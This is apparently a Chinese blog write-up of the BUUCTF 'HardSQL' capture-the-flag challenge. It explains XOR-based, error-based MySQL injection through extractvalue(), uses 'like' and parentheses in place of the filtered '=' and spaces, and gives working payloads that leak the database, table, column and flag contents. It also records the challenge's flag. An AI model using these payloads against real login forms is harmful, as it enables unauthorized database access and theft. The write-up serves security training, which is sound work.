buuctf-web HardSQL 1
阿新 • • 發佈:2020-10-18
這或許就是sql最終章了吧
開啟頁面。
還是這種介面,只不過是加強了一下。哈哈哈。
然後我就還是萬能密碼admin' or '1' ='1 來了一手
之後的常規注入都是出現了這種頁面。有點兒意思嘍。
然後我再用聯合注入啥的,都不行了,好像是都被過濾掉了。
那我們就得想其他的途徑了。百度了一手。學到了web的騷操作。
這裡需要使用異或盲注,用’^'來連線函式,形成異或
mysql裡異或運算子為^ 或者 xor
兩個同為真的條件做異或,結果為假,兩個同為假的條件做異或,結果為假,一個條件為真,一個條件為假,結果為真,null與任何條件(真、假、null)做異或,結果都為null
我們還需要用到一個函式:extractvalue()
對XML文件進行查詢的函式
其實就是相當於我們熟悉的HTML檔案中用 <div><p><a>標籤查詢元素一樣
語法:extractvalue(目標xml文件,xml路徑)
好,那我們還構造第一個Pyload:
/check.php?username=44&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
即可爆出資料庫。下一步,我們繼續爆表名。
不過這個網站的確是加強了,等號也被過濾掉了。這個時候我們就需要用'like'來代替等號
pyload:
check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
然後爆出欄位名
pyload:
check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
繼續,爆資料。
check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
但是出來的flag卻是隻有一部分。然後還一個騷操作。就是利用left與right來進行字元拼接。
check.php/?username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
check.php/?username=44&password=1%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
最後拼接成的flag為:flag{dc37dde2-8b7c-4a03-a912-b11b53dd5308}